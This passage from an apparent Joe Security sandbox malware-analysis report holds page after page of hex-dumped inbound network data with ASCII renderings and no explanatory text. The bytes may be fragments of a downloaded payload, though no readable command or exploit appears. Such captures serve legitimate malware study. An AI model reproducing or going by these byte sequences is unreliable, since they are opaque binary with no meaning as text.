41 1d 96 9b 87 b8 dc 4b af 4c 94 c5 24 c7 90 c4 19 fb ac f8 9e b5 2d 38 b5 6f e8 fb 76 16 21 38 b5 d5 ae 76 63 17 89 48 
5f b2 73 de 44 05 a6 f6 8b 7c 6f 35 48 bf e0 7b 9e 91 c0 45 a2 34 47 0f 52 bf 07 0f 93 30 ff a9 30 fc be ae 0d c0 82 86 ea 
48 ca c9 c3 4b 3f 0e 00 02 b8 fc cb 69 3b 4a 00 a6 fa 01 87 54 31 29 48 d6 fd 5d 8f 31 58 17 4f ba 18 17 8e 38 f0 0b 09 70 
c0 21 f3 4d fc 1d cf 9b 93 78 0c 58 d3 43 ca ee 0b 68 97 8f 37 54 93 4c fd 97 50 8f d6 77 31 b3 ea 73 f2 75 29 b0 31 5f 8c 
89 0d 63 cc b2 a3 af 8a 27 9a 93 b6 6f 86 b9 73 52 ba 85 83 51 92 5c a8 6d f0 60 94 27 0b 4b 3f 46 37 77 3b 85 fd b4 f8 
46 d6 f2 93 7a ea b2 98 46 61 f2 9f dd e3 6e 1d 
Data Ascii: W&kb=#%>6uA]7AxHN-AKL$-8ov!8vcH_sD|o5H{E4GR00HK?i;JT1)H]1XO8p!MxXCh7TLPw1su)1_c'osRQ\m`'
K?F7w;FzFan

2022-02-08 23:07:11 UTC 483 IN Data Raw: 60 02 0c c3 49 8f cd 00 f7 3f 46 48 e3 b5 0e 46 c8 77 01 7a f4 fc 49 71 7f b6 ce 96 94 3d 88 95 22 f7 0f dd dc fd
82 1c 1f d5 13 97 bf c5 9c d9 79 df 4d 18 ba 55 07 df a9 d2 c5 31 d8 5f 04 f2 52 17 c3 e1 d9 d1 00 29 1a 12 8b d1 11 a2 
62 74 15 20 a9 b7 dc ab e9 7d e0 2c a3 df 2f 6f 01 24 6c ca 05 a6 96 03 cc 21 dc a1 5f a6 97 03 d0 2d 57 0f 5b 67 d8 e8 
b0 4f dc d4 b0 67 9f 56 f8 58 18 1c 5f bf fb 93 11 51 ba 42 d0 92 38 ba ec 2c 8e 31 a4 e1 05 7f 26 20 8e 3f 1d e2 3b b3 9f 
d7 fe 71 28 5d 7c 44 ed 96 ca 8d d1 40 77 d1 12 83 31 d2 a5 79 ba 72 b9 f2 f2 72 32 f0 c9 b4 72 d0 15 3f da c8 8e b5 1a 
57 88 76 91 1d 17 91 7a 96 5f 54 f1 dc 9f d6 b8 19 d4 56 73 92 9a de a0 eb f9 12 63 28 c5 c4 7c 74 06 07 40 f4 c9 3b 44 
be 76 dc a7 34 4a d9 28 7e fd 3e d3 f5 bd 3b 18 
Data Ascii: `I?FHFwzIq="yMU1_R)bt },/o$l!_-W[gOgVX_QB8,1& ?;q(]|D@w1yrr2r?Wvz_TVsc(|t@;Dv4J(~>;

Timestamp
kBytes
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Direction Data

Copyright Joe Security LLC 2022 Page 55 of 191



2022-02-08 23:07:11 UTC 485 IN Data Raw: ee e6 4a 0f 65 da 4a 84 a5 c1 03 44 e2 c2 b5 61 ac 46 77 18 67 85 b4 db ec 25 bf f0 d9 25 83 cc 52 6d b8 47 
18 ab 87 7f da 68 0c 39 d9 df 70 b2 91 01 83 8d 53 c2 c0 75 90 75 53 fe d8 7d 78 56 19 be bb 15 e1 40 f5 a6 23 f7 18 2d 
83 da 61 ef 40 19 a2 64 08 17 89 1c 08 2b b5 97 42 ef 3e d1 41 58 a0 5e 09 58 2b 16 1f d3 63 1d 34 3d 86 de f7 7b 85 68 
50 f0 c5 6c 9b 7b 65 69 10 bb 7e 2a e8 78 c8 5e 63 30 16 46 5b f2 d5 cd 13 fa fe f5 bb c6 c2 7e fb 20 ca 46 39 e3 09 cd 
79 07 ca c9 bf 5d 5e 08 7c 9f 9d cb bf 6f 9e 40 f7 f0 79 c3 7c b8 d6 24 f7 33 9e 93 10 a0 15 d3 17 53 89 d3 9c 1b 47 4f a4 
d9 84 64 a5 71 b8 58 2e 31 5e c9 16 f3 9d 0a 3c 25 a1 36 00 ae e1 91 e7 4d 22 17 17 47 a4 e7 14 b7 b5 17 1e 9c da 4c 
22 a0 d5 43 2d af 5e 09 b2 48 bd 9f 39 00 92 14 79 2f 71 
Data Ascii: JeJDaFwg%%RmGh9pSuuS}xV@#-a@d+B>AX^X+c4={hPl{ei~*x^c0F[~ F9y]^|o@y|$3SGOdqX.1^
<%6M"GL"C-^H9y/q

2022-02-08 23:07:11 UTC 487 IN Data Raw: 83 aa c6 f1 7b 64 ed 0c ba a7 5d e9 31 07 57 62 7f d1 6c a3 be 12 e7 eb bc 52 c5 37 37 50 fe f1 bc f8 f4 6a 37 
b0 33 6b fb cd b4 a0 30 8d 97 23 18 5c bc fb 50 60 80 ff 93 aa 43 3c 50 81 b8 6e 6c bd 48 6d e7 fd 4f 86 e7 f2 cc 16 6c b2 
e3 f5 50 74 90 34 91 b7 1b 7c 8b cd d8 af 48 0e f3 5f 37 32 cf d4 7d b2 1c 5f 3b b1 ab 91 7b 39 70 5a 7f b9 97 99 ac 7a 54 
b1 7c 3a dc 6a bb b1 92 ea 58 b5 12 0d 99 76 d1 ce 12 3c 51 1d 99 74 d1 ce d9 d4 1a 0d 52 9e da 86 12 99 39 1e 12 96 
0a 22 d0 1d 42 60 cb de 81 a3 40 98 82 14 80 ab be d7 0b e3 fc fc c8 20 3f 77 8e 23 88 b7 bd 1f 4b 3c f5 5d 68 ff 36 9e 
e3 b9 35 29 23 8a 09 ea a8 c2 4b d1 6b 01 88 5a 2d 02 3f 9a 1e 3e fc 11 50 bc 17 93 2b 79 d4 50 e8 f2 9a 86 1b 9b 58 45 
90 61 cb 76 27 a9 40 3e f4 22 06 2f 43 e2 35 13 82 
Data Ascii: {d]1WblR77Pj73k0#\P`C<PnlHmOlPt4|H_72}_;{9pZzT|:jXv<QtR9"B`@ ?w#K<]h65)#KkZ-?>P+yPXEav'@
>"/C5

2022-02-08 23:07:11 UTC 489 IN Data Raw: 49 22 b8 b0 4c bd 84 8c 64 14 0f ca 75 a2 cb e1 cc 3d f7 dd e4 a2 7c 9d dd 81 c8 1d 56 c9 06 85 79 0b c5 fe 
bb c8 06 3d 30 8e 1e b6 fc 09 05 39 b4 0d f5 28 3b 45 fd 14 ed 1f b9 d7 2e 94 f1 e4 a5 d2 f2 52 09 28 34 ea 38 ea f7 5d 
ab 61 bf 55 80 3b ff 69 bc 7d fc de 54 f6 bc e6 77 43 c2 6d 3f 4b e9 29 7f 77 d5 02 5a 36 e9 3e 5e f5 26 fd 9d 36 d6 fe 16 
7e 49 19 e5 f5 01 ae 02 0e 8a ee 05 ed 16 ee 2e e7 57 d2 12 6c 1f c9 2e ba 18 8c ed 79 50 87 c6 63 11 bb fa 29 d1 93 ec 
02 a2 d2 d0 3e 29 9a cb 02 ff f2 8e c1 3c ba 85 ea 3f fb b9 d6 75 3b 32 9e 70 13 4a 91 fb 59 d5 76 30 d2 9f c1 d7 01 0b 
4a 97 2e e8 ba ab a5 a0 a3 20 ed 92 28 66 fc 25 f6 96 ed ae b8 12 ce 25 8c 22 44 dd 8f 92 88 f6 25 d3 b4 ca 21 10 7b 09 
e2 d3 8b 0a ca 2d 01 c6 a6 36 8a 80 ac 81 41 ab c6 bc 
Data Ascii: I"Ldu=|Vy=09(;E.R(48]aU;i}TwCm?K)wZ6>^&6~I.Wl.yPc)>)<?u;2pJYv0J. (f%%"D%!{-6A

2022-02-08 23:07:11 UTC 491 IN Data Raw: 81 57 f6 e0 44 1a 34 23 cf ea 32 a8 85 6c f1 2f cd da 5a df f1 5c 12 e5 7f 14 31 62 37 3d b7 24 02 8b 73 af 4a 
49 f4 e7 f9 8e c0 79 4a 0c 88 74 00 b3 6f 9f d8 a2 e4 d5 67 45 07 95 46 8e 3b 94 7a 58 48 29 b9 9b c3 89 8a dd c0 3f 4e 
2d c3 15 40 ee 00 d6 fd 47 8b ad ce 7b b7 91 f2 47 8b 2d 79 bf b8 99 e1 34 f6 56 57 e7 35 95 94 6c 77 af 57 ab b4 6c e3 
59 3f 22 61 95 b4 da 63 21 7d 51 18 12 41 6d 24 2e 7d 51 e8 a5 3d 72 db 8e c2 dc e7 b2 49 34 c4 39 07 ab 23 ca 8c ed 
3b 7d e1 e9 fb 72 ee 2a 38 5a 3e 01 d9 cd 02 3d 52 85 19 b6 14 86 ae 7a 10 45 b0 64 d3 86 3b 24 d3 55 13 e4 58 1d 0f 
6f 1e 05 b8 29 91 4d bd d9 80 c6 f5 d1 0e 06 f6 fa 6b 93 ca c6 ed db c6 48 a5 dc bf 8a 66 1f 7c 08 2e 12 36 bf c9 f9 bd f5 
56 1e 5e c9 80 dc e3 0a 43 9a e0 bd 95 15 a8 33 36 92 e0 
Data Ascii: WD4#2l/Z\1b7=$sJIyJtogEF;zXH)?N-@G{G-y4VW5lwWlY?"ac!}QAm$.}Q=rI49#;}r*8Z>=RzEd;$UXo)MkHf
|.6V^C36

2022-02-08 23:07:11 UTC 493 IN Data Raw: 71 5a b7 42 b2 10 6c 69 1f aa 50 55 57 aa 7a 1b 94 69 b9 5b 5c 55 49 58 d7 13 43 94 81 10 05 97 36 0a 4d d8 
d1 41 8e 1b 12 07 84 ac c2 85 b0 ae 7e b8 8c 92 05 7b 4f 51 c6 b7 18 52 80 b4 af 2a ca 3b 48 d9 4d 71 c7 3e a6 f6 8d a9 
41 15 0a e1 48 9e 42 f1 c3 d0 cd 16 40 fb 5e d5 83 38 16 ee c9 bf f1 69 89 00 16 ea 4a b7 f9 ac 49 00 1b 27 e9 c8 90 6f 
eb 43 92 54 2d c8 dc 82 60 e1 1e 41 20 c3 c2 ca 88 c9 59 41 c0 0e 58 02 67 c5 93 3f 2f 0d b8 cb 12 31 84 8d 2e 86 44 cd 
e6 ba 0c c9 6d f2 93 2e ce 79 d3 29 5d e5 d3 26 52 ea 58 6e 55 61 12 f5 9e ea 58 46 4d 7e d3 06 62 ed 58 46 c1 c6 9b cd 
89 ff 10 85 bb 74 5e 16 90 fe 16 1d 12 b6 0c 36 27 2c 30 0a 61 2f 86 cc 21 24 ba e4 a0 6c fd 03 f3 af 3e c0 7c e7 b9 27 ff 
60 f1 2f b5 e7 16 dc fd a0 f1 97 3e 63 32 1c 76 77 78 
Data Ascii: qZBliPUWzi[\UIXC6MA~{OQR*;HMq>AHB@^8iJI'oCT-`A YAXg?/1.Dm.y)]&RXnUaXFM~bXFt^6',0a/!$l>|'
`/>c2vwx

2022-02-08 23:07:11 UTC 503 IN Data Raw: 15 bc 61 6b 29 80 ea 2b 2e 63 72 2b 21 6c f9 6d 2b db 5c fd a0 9b 73 1e 2b d3 69 95 63 19 e2 6d ad b3 ae af 
6e 04 68 84 cf 83 54 b8 44 cb dc 73 cf 33 12 ef 83 f1 d1 58 45 da 42 df 79 e6 c9 97 f1 35 42 6f 3f a3 0e ad fc 14 c8 86 01 
93 f4 ba 8a db 7c 21 01 23 b2 69 4d e1 71 de 8b ca 9e 59 b7 f6 15 11 3f 55 9e e9 f1 17 d2 2b 32 a0 14 00 eb 27 28 3c 60 
67 2f df f8 67 a4 99 f2 ab e3 aa 32 68 20 3a b9 28 0f d9 32 60 15 52 7a ea de 79 43 6a e2 45 c8 22 6a 96 e3 10 ea aa df 
9b a2 22 04 b0 89 a2 38 8c 02 ea b0 6f 29 f6 30 53 15 7d 78 db fe 56 6d 5b c2 6a e6 13 4a 99 cd 1d ca a5 f1 96 82 6d da 
90 02 51 e6 1b 4a d9 65 30 35 59 59 0c be 11 d1 87 95 61 51 bb a9 ea 19 33 3a c1 70 b3 06 fd fb fb 8e 66 d0 99 0e 5a ec 
12 46 d2 4f 39 1d 52 73 05 96 1a fb ae bd 56 7b 92 81 
Data Ascii: ak)+.cr+!lm+\s+icmnhTDs3XEBy5Bo?|!#iMqY?U+2'(<`g/g2h :(2`RzyCjE"j"8o)0S}xVm[jJmQJe05YYaQ
3:pfZFO9RsV{

2022-02-08 23:07:11 UTC 559 IN Data Raw: fc b4 5b 16 3f 77 13 12 75 e1 1f 58 f3 e5 9d 1e c0 52 46 57 06 bc 49 95 c5 89 5a 74 43 3d 31 37 0d bc 73 fb 
8a af 3b ff c0 39 37 7c f5 3c b4 cb 21 be 78 b2 0f 6d 03 71 cc ae c4 31 c6 69 8e bf c6 23 08 bb 41 69 a6 c7 8d 10 83 08 
3d d5 01 c0 2e 9f 97 cc e2 e6 b2 02 52 22 7e 7b 79 f8 34 fd 7d 7b 01 f8 9e cc c4 34 e7 e7 1c 1c 2e 64 29 19 fd d3 ed d5 
84 f8 32 9f 02 fc 19 db 2b c0 25 91 eb 80 1e ad 5d 62 35 39 fc 5e 09 73 07 1e c1 4f 2c 60 60 73 10 64 a3 a8 d3 a7 60 83 
a2 06 5c bf ea c5 76 ff d7 f9 4a 74 9f 7f c6 f3 d7 f9 c6 78 9f 77 5a 7c 5c b5 99 bf 9f fd 1f bb 10 b3 91 97 5a 34 76 64 12 b2 
7a e6 5a a4 30 61 bd 4f b7 2b 0a a8 54 00 57 97 68 3c dc dd ee 18 57 9d d5 24 9b db 9b e7 58 18 e1 24 9b db e2 a6 d3 
dd 02 a4 2b df b4 23 50 1d 77 e0 93 9e 30 d3 24 67 78 
Data Ascii: [?wuXRFWIZtC=17s;97|<!xmq1i#Ai=.R"~{y4}{4.d)2+%]b59^sO,``sd`\vJtxwZ|\Z4vdzZ0aO+TWh<W$X$+
#Pw0$gx

2022-02-08 23:07:11 UTC 561 IN Data Raw: 81 f9 86 65 83 5c 4a c8 80 da ba c2 b1 16 09 c9 72 b3 c5 7a 68 70 4f 32 6b 96 73 fe a8 55 f8 00 9b 99 3b c3 2f 
71 0b 41 e3 dd c0 e4 2f 71 c1 41 e3 5d c0 e4 2f f1 d3 41 e3 47 c1 e4 2f f1 c9 41 e3 d9 db e4 2f cd da a2 2c 7b 01 28 6c 
78 d2 00 6a dd 50 fa b9 6a b0 5f 3f 90 7b e8 e5 1a 3b eb 24 32 4b 27 5b 39 c4 e7 59 9c 46 1d 8a 12 8a 9a 81 98 c2 98 a9 
5c 32 9b 81 9c b8 d3 82 17 f8 d4 59 17 73 9c 5e 9c 39 07 95 17 73 ac 46 9c 39 1f 9d 17 73 a4 7e 95 e5 26 eb 17 71 ad 
ab 38 92 26 e3 11 62 1a 13 00 e5 54 97 c2 ad 66 bc a8 d3 5a 80 27 9b 61 0b 67 a0 5d bc f4 27 13 38 35 d7 02 70 38 fc 
52 0e 04 c0 d9 4e 3f fc 6e b0 b4 b4 70 3b 5c af fb 7d 44 63 b6 7f 87 a0 75 43 51 f7 eb 80 92 75 95 43 41 b6 56 0d d5 7d 
dd 45 de fb 95 43 e2 2d 09 df 21 ee 82 97 0a 65 c4 94 bc 97 
Data Ascii: e\JrzhpO2ksU;/qA/qA]/AG/A/,{(lxjPj_?{;$2K'[9YF\2Ys^9sF9s~&q8&bTfZ'ag]'85p8RN?np;\}DcuCQuCAV}EC-!e

2022-02-08 23:07:11 UTC 563 IN Data Raw: 61 03 45 6c a6 c2 b5 6e dc 05 76 ad 1f 8e de a7 d9 05 96 30 3e f6 dc f7 f7 8d 1b 34 34 4e 90 9c 37 8f ea 5b f4 
4c 29 d0 5c 46 ef 5b 14 d1 08 a8 9b 99 8f 4f 68 1b c7 80 a3 53 00 41 53 51 7a 86 90 92 b9 0d 38 98 7c 86 70 0f 9b 75 3a 
c8 52 0e fd 0b 91 cd 76 a3 92 0d 0c 64 51 ce cf ef f9 c4 0a 64 b1 53 ed 97 3e 1b 6a 70 cd 99 22 bf 06 d1 e5 7e f6 d3 9f b9 
35 10 5c 32 9d 1a 98 b9 d5 8d 7f 4a 9f 4a b6 02 18 ad 55 3e 1b e7 d2 d9 f8 a7 6d 3e 1b 6e db ff 33 be 50 b7 b4 59 a3 3c 
f4 5a 70 b7 be dd 97 44 94 c5 aa 78 a8 ef 70 bc 6b 2c 30 03 8c 97 eb cf ca e2 2a 0c 09 e6 ad eb ee 11 6e 28 2d 6a ac eb 
ee a9 27 43 ed 6a ac 0b 62 8d 1f c7 17 0a dd 14 f1 36 1e d7 32 34 3d 0c 48 f6 fe cf 8b 7d 56 c5 49 f6 1e 52 ae 45 d2 27 
21 8c 01 65 03 b0 c2 a6 c0 b2 e0 75 08 b0 9a b7 cb 
Data Ascii: aElnv0>44N7[L)\F[OhSASQz8|pu:RvdQdS>jp"~5\2JJU>m>n3PY<ZpDxpk,0*n(-j'Cjb624=H}VIRE'!eu

Timestamp
kBytes
transferred
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2022-02-08 23:07:11 UTC 565 IN Data Raw: 01 04 31 59 e6 f7 ba 19 e5 30 31 53 62 d7 c2 d8 2a 50 25 23 a1 10 26 e4 2a 5a a1 03 d1 d1 e9 84 36 22 62 cc 
b9 c5 99 84 73 8f 52 0f 3b 08 b5 fc b0 48 b6 3b 3b 02 31 dc c8 89 79 5b 2f 72 f2 1b 2c b5 79 51 ab 52 82 da e3 d5 65 29 
68 9d ea ce 93 d5 20 84 58 5e 68 03 bf ad e3 43 bc 6a 68 09 3b 8d 9b 82 73 0a 7c 79 f8 4a 7f be 73 00 f8 59 88 8b b0 de 
6f 78 3b 96 e0 9f c0 de 2a d5 0b 55 62 52 ec a6 e9 12 c7 69 62 58 40 8e 91 d3 08 09 76 28 83 49 5d e7 08 03 da 00 f3 07 
5d e7 10 c5 9e 24 d3 ed 57 6c 54 0a b4 50 57 40 33 b7 b4 cb 7b f0 53 80 b8 33 90 c8 fb 10 52 0b 38 ea d5 ec db 26 9b 2a 
1a e5 58 a1 52 62 bf 5a d9 22 94 89 52 68 13 6e a9 e3 5b e9 4e 10 d0 a9 4d c3 5b e3 ca 24 a8 98 0d e7 6b 5b 86 4f 68 
98 0d 07 e7 7f f6 4f 20 bd bc c8 c7 56 f4 4f 20 bd f6 64 fb 
Data Ascii: 1Y01Sb*P%#&*Z6"bsR;H;;1y[/r,yQRe)h X^hCjh;s|yJsYox;*UbRibX@v(I]]$WlTPW@3{S3R8&*XRbZ"Rhn[
NM[$k[OhO VO d

2022-02-08 23:07:11 UTC 567 IN Data Raw: 42 9c de 34 0a 5b 9c c4 0b 13 13 23 d0 11 39 e8 1c 64 33 63 52 b2 24 63 91 71 d4 a4 d8 39 5b 43 07 3b 71 
80 cb 4e 7b 0b 85 98 78 0f 46 5b 88 c8 0f 21 4f 0b cc e2 c4 a3 c6 21 4f eb 51 c6 ac 1b 96 0f e6 dc 71 47 61 3b a6 45 4a 
e0 6a 30 49 6b 24 fe 12 07 e7 3d 5a 90 00 e6 58 b9 d3 2a 2d a8 5c 64 eb ec 20 a7 28 6e 68 70 7b 26 af 32 8b 27 e7 bd 
6c f8 e5 97 a7 34 90 9d 2c 7a 46 33 2c b9 85 c3 eb f0 cd 4c 0c 23 cf 66 cf ef ba 6c 44 a1 6c f6 40 62 af 06 87 2b d5 c1 44 
e8 16 4a ec e2 d4 c1 a4 75 33 22 54 b2 fa 68 d3 55 3d 20 54 b2 e6 22 7f 69 2a 57 7c e2 64 99 8f 8e a7 5a c7 19 40 85 c5 
30 93 49 b0 21 1c 07 76 fd 60 c4 b5 7f 28 13 e6 37 ef 51 16 36 a7 de f1 e5 a5 f4 3a 29 d0 fe b1 67 06 38 b1 a4 c5 c8 76 
ed 8d 47 91 3a 8f 6d 52 f6 fa 67 d9 b8 2c 55 dc 7b ef a5 1b 
Data Ascii: B4[#9d3cR$cq9[C;qN{xF[!O!OQqGa;EJj0Ik$=ZX*-\d (nhp{&2'l4,zF3,L#flDl@b+DJu3"ThU= T"i*W|dZ
@0I!v`(7Q6:)g8vG:mRg,U{

2022-02-08 23:07:11 UTC 569 IN Data Raw: a7 ec 4f da a4 67 01 14 85 0b c2 d7 cd dc 25 d5 e4 0f e9 a0 f5 80 a7 66 e4 90 64 a5 66 d8 b3 f6 2e 1f f1 06 2f 
57 7e e1 e0 55 54 2a 2c 20 5e a1 62 f6 25 b5 a1 35 d5 72 e8 7d 5a 95 23 7f 70 56 ef 0a 7a dd a1 dc 1d c5 62 1f ed 02 2b 
65 2a c1 e8 a6 a1 69 e2 60 2a 21 75 87 c9 d1 b2 4e 83 56 55 99 cb d1 b2 52 c9 fa 69 9e bc f9 e2 d0 72 41 8e 13 b1 09 
19 f4 76 0b 30 27 ba 7e 21 a8 f4 b8 88 b8 37 7b 0a f0 e0 28 42 37 a2 d8 43 7f 6d 3f 41 55 a6 f3 34 5f 2d bd e2 cd 39 7e 
21 3d fe 37 69 b2 19 f8 6b 98 da 34 1e 92 51 7a c8 6c 49 b9 0b 9c 8e f0 71 5b 4d 33 b2 d0 e5 39 77 5b ad ae 90 b8 5d 69 
59 f2 da 8e 82 ba 5d 69 4d b8 76 b2 81 cd 75 39 cf 03 a2 55 0c c0 ea c2 eb 0b e8 eb 38 c7 9d fa b7 89 5b 3a a7 4a 98 b8 
ef 9d cb f0 28 df 3b f1 60 50 dc 36 62 7a 17 fa 17 70 9c 
Data Ascii: Og%fdf./W~UT*, ^b%5r}Z#pVzb+e*i`*!uNVURirAv0'~!7{(B7Cm?AU4_-9~!=7ik4QzlIq[M39w[]iY]iMvu9
U8[:J(;`P6bzp

2022-02-08 23:07:11 UTC 571 IN Data Raw: 07 98 a3 93 80 7f 20 18 c8 6c 0b 34 ff 50 37 bf 5f 17 d0 58 8d d4 13 d3 25 d7 94 58 6b 19 ab 7c a8 da 20 32 2f 
18 d7 48 fc db 14 8b 77 73 1e 48 fc 3d 51 87 c7 ee 92 44 45 95 41 87 86 56 ca cf 95 7d 41 c0 a9 41 07 c3 1f b9 8c 63 58 
5e 6b b1 9b 9d e0 19 98 1a 6b 57 56 18 4f 94 95 93 01 13 57 74 7b c0 94 b7 b8 4b 3c bd 7a c0 72 f2 b5 fb a1 31 76 79 da 
e2 b5 ba 19 69 fd a9 32 a7 f2 95 0e e1 f1 22 c7 9a 37 e1 04 59 1d 76 c6 9a de 72 81 7d 35 a0 42 be f6 63 81 7d de b0 c9 
3a 39 5b 1b f9 fa 67 18 b3 bd 80 f3 61 7e 43 b3 1e 99 a8 61 dd 5a 7b df 01 21 a8 1c c2 e2 23 b4 c1 21 a8 fa 86 e6 93 29 
45 25 18 89 0a c2 f3 5b c9 01 f6 9c 02 c2 de 98 06 85 39 73 d4 46 fa b0 17 85 39 98 c4 cd 7e 7f 2f 1f bd bc 13 1c f7 fb f4 
f7 25 38 37 b5 5a df dc 67 99 1c f7 a7 5a df 49 55 
Data Ascii:  l4P7_X%Xk| 2/HwsH=QDEAV}AAcX^kkWVOWt{K<zr1vyi2"7Yvr}5Bc}:9[ga~CaZ{!#!)E%[9sF9~/%87ZgZIU

2022-02-08 23:07:11 UTC 573 IN Data Raw: 54 bb cc 61 61 39 84 66 ea 7f b1 d0 22 f5 f9 e7 0a 6e 72 a9 bf a5 4e aa 30 5f ab 1c 06 63 a8 65 cd a0 6b a6 
46 00 60 8d 6f 98 5c b1 e4 d0 47 3a ac e3 cc 7c af 55 07 32 24 9f 2c c2 f2 a3 10 48 ba 66 9b 0e b9 d1 43 81 51 e1 c8 c9 
5a ca 23 01 99 09 a8 4b 59 82 e8 4b 92 08 a0 8c 4f 83 e6 8f f9 a8 69 c5 19 23 21 5a fe 90 a6 12 49 77 1d 99 03 81 6e c9 
c1 42 e5 8f f4 8e a3 c4 37 4d 60 42 71 78 d7 b9 fe 82 31 d9 ae 40 f2 6e 42 6b 69 a6 81 a8 2f a5 36 01 04 d1 df 3d 38 d5 
1c e8 fb 16 df a8 f0 2a 54 e0 af cd 17 23 6c 0e 9c 63 6b fd 1e ff e9 60 9c 61 6b ff 00 fc f5 ff 86 ba db 48 41 4a d8 60 5d 30 
13 a3 9e f3 38 a7 06 cf 04 2c 4c 09 97 7c 8e ca 1c 3a 8d 7d 19 b5 c7 9e 96 4f 21 14 c6 8d e2 a2 1c f7 29 61 df 34 02 07 
47 08 3e 8c 0d ce cb dc cf 0d 40 9a cc ba 27 15 86 
Data Ascii: Taa9f"nrN0_cekF`o\G:|U2$,HfCQZ#KYKOi#!ZIwnB7M`Bqx1@nBki/6=8*T#lck`akHAJ`]08,L|:}O!)a4G>@'

2022-02-08 23:07:11 UTC 579 IN Data Raw: 0d 00 af 1e 9e 17 20 54 1d 0c ab 1a 9e c7 20 50 19 20 db df 53 af 3c 5c dc e1 b3 bb 3f 11 a2 3c 71 90 6b 46 
3a 40 c5 c5 06 96 46 21 c5 55 6e e2 09 20 e9 05 aa ab a9 02 31 ab 22 40 1e 50 e5 83 dd db ad 45 d8 2d 6f 86 53 dd 68 
0d 19 9a 8f ee de 59 4c 69 96 8f 83 e2 54 4c 08 a2 5f 70 87 ea 5e ff cf f0 d9 07 dc 3c 9e 53 1f ff 5d 10 e6 3c ea a9 6d 00 
e9 ea 92 c1 2a 5c a6 4a 6a 5f 48 c1 94 9c 8f 02 57 28 29 8d 19 a7 ce 6e e9 ad 45 20 2f 2f 5f e3 ec 66 98 21 67 5a 9a 6a 
e0 95 46 2d e3 23 6e a6 ad ac 89 45 26 90 83 ce 1a 92 c0 34 d9 24 fb c4 c8 a6 b2 03 1b ed 75 d1 90 d1 74 96 93 67 45 
1d dd e8 a2 fe 56 d4 a8 75 6a d6 eb 8f a9 60 d0 00 e7 a6 0f 1a 24 65 ff 0b a6 2c 38 d8 ed eb ea 53 d1 ea ad 50 67 db 85 
94 e8 95 4b 5c f6 56 88 de 8d 97 4b 1d 4e 15 03 0c c4 5d 0b 
Data Ascii:  T P S<\?<qkF:@F!Un 1"@PE-oShYLiTL_p^<S]<m*\Jj_HW()nE //_f!gZjF-#nE&4$utgEVuj`$e,8SPgK\VKN]

2022-02-08 23:07:11 UTC 633 IN Data Raw: 62 ff 16 97 5c b7 16 1c 14 28 f1 bf 9f 60 5e 58 34 eb 16 ef d3 58 9d a7 6c bf 26 2c 2c b8 b5 ae b1 b8 3e e6 b6 
33 74 7d 7d b8 3e d6 ae 33 74 65 75 b8 3e de 96 3a ab 55 d6 15 58 de 9e cb b7 99 5c 08 31 69 69 8a 79 54 e2 cc 61 e2 
01 8c 6a de 2b f2 a9 1d e8 57 e9 26 16 e0 28 1a 12 6b 60 12 39 4d 28 2e 05 c6 66 f1 85 4d 26 f1 44 81 52 31 e1 c7 51 87 
c2 89 d5 45 bb 42 16 86 78 c9 b6 8d 53 9b 3e b1 6f 10 76 8a e4 5a b0 d6 a4 98 73 5d e2 9b c4 27 69 d3 1a 37 29 11 d9 
92 ae eb 29 25 3e 60 61 2d 15 02 29 11 29 a7 69 e9 d7 e9 da 2b 60 04 51 8b 4d 7d 90 48 8e be 1b 00 80 95 8c 88 bc a9 
07 c2 78 22 41 c1 cf 82 ce 89 cf 09 86 9f 44 41 8d b4 81 09 b1 88 c7 0a 07 22 4c 4a 03 e9 c7 ea 06 62 89 35 86 c7 0e cf 
76 71 79 44 3e af c0 04 fc 6c 4b 4c f4 47 1a 7c c9 7b 95 36 3f 
Data Ascii: b\(`^X4Xl&,,>3t}}>3teu>:UX\1iiyTaj+W&(k`9M(.fM&DR1QEBxS>ovZs]'i7))%>`a-))i+`QM}Hx"ADA"LJb5vqyD>lKL
G|{6?

2022-02-08 23:07:11 UTC 635 IN Data Raw: b5 7e 20 d8 fd ac ab 92 7a 4b 40 19 34 dd 24 9f c4 d7 a2 6f c7 5c e8 d0 20 bf 6a ec b1 64 2d ef 06 fa c5 59 aa 
78 3d ac 1b ee bf e4 15 69 45 4a 89 dc 96 02 8b 5e 6e f5 8e ef a5 77 4e e1 5d f9 d2 50 6e b1 44 34 20 33 78 bf 68 bd 24 
3d 20 3a 21 fa ab 70 9e 1d 58 ff d0 93 fc 19 ec af c0 da 62 e7 c7 51 28 58 20 ba aa 12 e4 31 e2 d0 6f 7b 5d 37 8c 47 0e 
14 4f 84 cd 53 4c 06 01 d5 72 3a d7 e7 a4 f9 14 69 ec fc e4 78 67 b4 ef 44 b1 ac 39 87 72 27 71 09 26 ac 39 cb 1a 7f b2 
83 94 23 39 cb 46 1f 68 88 85 dc ab 03 cd 52 d7 88 85 80 eb 19 36 0b a3 97 5a 80 eb 45 66 11 70 0d 62 9a 32 0a 19 59 
f1 c9 9b c5 73 54 19 5b f1 cb 85 c6 69 55 85 c9 66 5a 0e 81 61 d1 44 1a aa 5a 0e b1 79 d1 44 02 a2 45 cf 42 8d e6 44 0a 
a7 6d 0c 3b 2c 23 87 20 a6 6b 95 aa ee 50 be 0a 37 6c 82 
Data Ascii: ~ zK@4$o\ jd-Yx=iEJ^nwN]PnD4 3xh$= :!pXbQ(X 1o{]7GOSLr:ixgD9r'q&9#9FhR6ZEfpb2YsT[iUfZaDZ
yDEBDm;,# kP7l

2022-02-08 23:07:11 UTC 637 IN Data Raw: 7e 08 33 77 2d 83 73 70 ce 1d 73 7f 4d 8b f8 3f 62 68 73 77 4b e3 3b f9 c0 68 7b fe 23 f6 51 0e ad ca 6d 01 2e 
5c e6 41 01 af 6d 09 28 24 25 87 8b af 65 80 78 31 4f 58 f6 0d 73 57 75 9b f8 17 5a 78 73 5f 73 f3 3b d1 80 78 7b d6 63 
e6 51 16 ed da 6d 19 6e 4c e6 59 41 af 6d 11 68 24 2d af eb e7 9b 63 ab 19 c3 bd 69 da ff 0a ac f1 bc ea 90 cd ef 61 d0 
ca 0c ff d0 c5 8f 69 5b 85 a0 8a d0 cd 89 01 9a 43 0a 8a d2 81 42 59 98 17 b1 d2 d2 99 4a 98 44 72 0a 26 ff b0 bc f6 70 
f8 fa b5 b3 3b 39 45 a2 b0 71 cb 11 9b c6 0f 2d a7 95 84 65 31 6e cc eb da 45 3c 5c e6 79 6f d7 a6 7e 8c 49 a6 71 0f df 
2d 31 20 3c a6 79 09 46 68 ba ca 85 e3 fa cd 66 7d d0 8d 96 41 ec 82 15 d7 67 c2 3a 34 ec 8a 13 4e 23 49 d0 8d a8 09 
